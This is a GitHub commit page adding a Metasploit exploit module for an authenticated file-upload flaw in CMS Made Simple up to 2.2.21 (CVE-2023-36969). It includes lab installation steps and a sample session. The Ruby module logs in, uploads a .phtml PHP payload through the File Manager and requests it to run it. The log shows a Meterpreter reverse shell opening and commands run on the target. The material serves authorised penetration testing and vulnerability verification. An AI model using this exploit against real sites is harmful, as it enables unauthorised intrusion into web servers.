Skip to content

Commit 985cea3

Browse files
authored
Land rapid7#19980, Add CMSMadeSimple (CMSMS) File Manager Auth RCE (CVE-2023-36969)
Land rapid7#19980, Add CMSMadeSimple (CMSMS) File Manager Auth RCE (CVE-2023-36969)
2 parents f7bb3d6 + 8479350 commit 985cea3

File tree

2 files changed

+249
-0
lines changed

2 files changed

+249
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
3+
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
4+
with the `.phar` or `.phtml` extensions, enabling execution of PHP code
5+
leading to RCE. The file can be executed by accessing its URL in the
6+
`/uploads/` directory.
7+
8+
## Installation
9+
10+
### Kali Linux 2024.3
11+
12+
Install PHP dependencies:
13+
```
14+
sudo apt install -y php-gd php-mbstring php-intl php-xml php-curl php-zip php-mysql mariadb-server mariadb-client apache2 libapache2-mod-php8.4 unzip wget
15+
```
16+
17+
Start mariadb and apache:
18+
```
19+
sudo systemctl start apache2
20+
sudo systemctl start mariadb
21+
```
22+
23+
Connect to the database:
24+
```
25+
sudo mysql -u root -p
26+
```
27+
28+
Create a database user `msfuser` and a database named `cmsms`:
29+
```
30+
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'msfpass';
31+
CREATE DATABASE cmsms;
32+
GRANT ALL PRIVILEGES on cmsms.* TO 'msfuser'@'localhost';
33+
FLUSH PRIVILEGES;
34+
EXIT;
35+
```
36+
37+
Download CMSMadeSimple, extract it and move it to `/var/www/html`:
38+
```
39+
wget https://s3.amazonaws.com/cmsms/downloads/15179/cmsms-2.2.21-install.zip
40+
unzip cmsms-2.2.21-install.zip
41+
sudo mv cmsms-2.2.21-install.php /var/www/html
42+
rm /var/www/html/index.html
43+
```
44+
45+
Set the necessary permissions:
46+
```
47+
sudo chmod 755 -R /var/www/html/
48+
sudo chown www-data:www-data -R /var/www/html/
49+
```
50+
51+
The application should be now available at `http://localhost/cmsms-2.2.21-install.php/`,
52+
navigate there in a browser to complete the setup wizard.
53+
On the tests page, `Testing if we can change INI settings` warning can be ignored.
54+
It will ask you for the database credentials created above, input them and enter `cmsms` for database name.
55+
56+
Once complete, go to `http://localhost/admin/login.php`, you should see an admin login panel.
57+
58+
## Verification Steps
59+
60+
1. Install CMSMadeSimple
61+
2. Start msfconsole
62+
3. Do: `use exploit/multi/http/cmsms_file_manager_auth_rce`
63+
4. Do: `set RHOST [IP]`
64+
5. Do: `set username [username]`
65+
6. Do: `set password [password]`
66+
7. Do: `run`
67+
8. You should get a shell.
68+
69+
## Options
70+
71+
### USERNAME
72+
The username for the CMSMS admin panel. Default is empty string
73+
74+
### PASSWORD
75+
The password for the CMSMS admin panel. Default is empty string
76+
77+
## Scenarios
78+
79+
### CMSMadeSimple v2.2.21 on Kali Linux 2024.3
80+
81+
```
82+
msf6 > use exploit/multi/http/cmsms_file_manager_auth_rce
83+
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
84+
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set RHOST 127.0.0.1
85+
RHOST => 127.0.0.1
86+
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set username admin
87+
username => admin
88+
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set password password
89+
password => password
90+
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > run
91+
[*] Started reverse TCP handler on 192.168.232.128:4444
92+
[*] Running automatic check ("set AutoCheck false" to disable)
93+
[+] The target appears to be vulnerable.
94+
[*] Sending stage (40004 bytes) to 192.168.232.128
95+
[*] Meterpreter session 1 opened (192.168.232.128:4444 -> 192.168.232.128:42794) at 2025-03-22 02:53:16 -0400
96+
97+
meterpreter > getuid
98+
Server username: www-data
99+
meterpreter > sysinfo
100+
Computer : kali
101+
OS : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
102+
Meterpreter : php/linux
103+
meterpreter >
104+
```
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::PhpEXE
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
18+
'Description' => %q{
19+
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
20+
with the .phar or .phtml extensions, enabling execution of PHP code
21+
leading to RCE. The file can be executed by accessing its URL in the
22+
/uploads/ directory.
23+
24+
Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
28+
'Okan Kurtuluş', # Initial research
29+
'Mirabbas Ağalarov', # EDB PoC
30+
'tastyrice' # Metasploit Module
31+
],
32+
'References' => [
33+
['CVE', '2023-36969'],
34+
['EDB', '51600']
35+
],
36+
'Platform' => ['php'],
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [
39+
[
40+
'Universal', {}
41+
]
42+
],
43+
'Privileged' => false,
44+
'DisclosureDate' => '2023-06-07',
45+
'DefaultTarget' => 0,
46+
'Notes' => {
47+
'Stability' => [CRASH_SAFE],
48+
'Reliability' => [REPEATABLE_SESSION],
49+
'SideEffects' => [IOC_IN_LOGS]
50+
}
51+
)
52+
)
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
57+
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
58+
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
59+
]
60+
)
61+
end
62+
63+
def multipart_form_data(uri, data, message)
64+
send_request_cgi(
65+
'uri' => normalize_uri(target_uri.path, 'admin', uri),
66+
'method' => 'POST',
67+
'data' => data,
68+
'ctype' => "multipart/form-data; boundary=#{message.bound}",
69+
'keep_cookies' => true
70+
)
71+
end
72+
73+
def check
74+
res = send_request_cgi(
75+
'uri' => normalize_uri(target_uri.path, '', 'index.php'),
76+
'method' => 'GET'
77+
)
78+
unless res && res.code == 200
79+
vprint_error('Connection Failed')
80+
return CheckCode::Unknown
81+
end
82+
83+
set_cookie = res.get_cookies
84+
return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
85+
86+
html = res.get_html_document
87+
version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
88+
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
89+
90+
return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
91+
92+
CheckCode::Detected
93+
end
94+
95+
def login
96+
data = {
97+
'username' => datastore['USERNAME'],
98+
'password' => datastore['PASSWORD'],
99+
'loginsubmit' => 'Submit'
100+
}
101+
res = send_request_cgi(
102+
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
103+
'method' => 'POST',
104+
'vars_post' => data,
105+
'keep_cookies' => true
106+
)
107+
fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
108+
109+
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
110+
vprint_good("#{peer} - Authentication was successful")
111+
end
112+
113+
def send_file
114+
filename = "#{rand_text_alpha(8..12)}.phtml"
115+
c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
116+
payload = get_write_exec_payload(unlink_self: true)
117+
118+
# create the message with payload
119+
message = Rex::MIME::Message.new
120+
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
121+
message.add_part(c, nil, nil, 'form-data; name="__c"')
122+
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
123+
message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
124+
data = message.to_s
125+
126+
# send payload
127+
payload_res = multipart_form_data('moduleinterface.php', data, message)
128+
fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
129+
vprint_good("#{peer} - File uploaded #{filename}")
130+
131+
# open shell
132+
res = send_request_cgi(
133+
'uri' => normalize_uri(target_uri.path, 'uploads', filename),
134+
'method' => 'GET'
135+
)
136+
return unless res && res.code == 404
137+
138+
print_error("Shell #{shell_name} not found")
139+
end
140+
141+
def exploit
142+
login
143+
send_file
144+
end
145+
end

0 commit comments

Comments
 (0)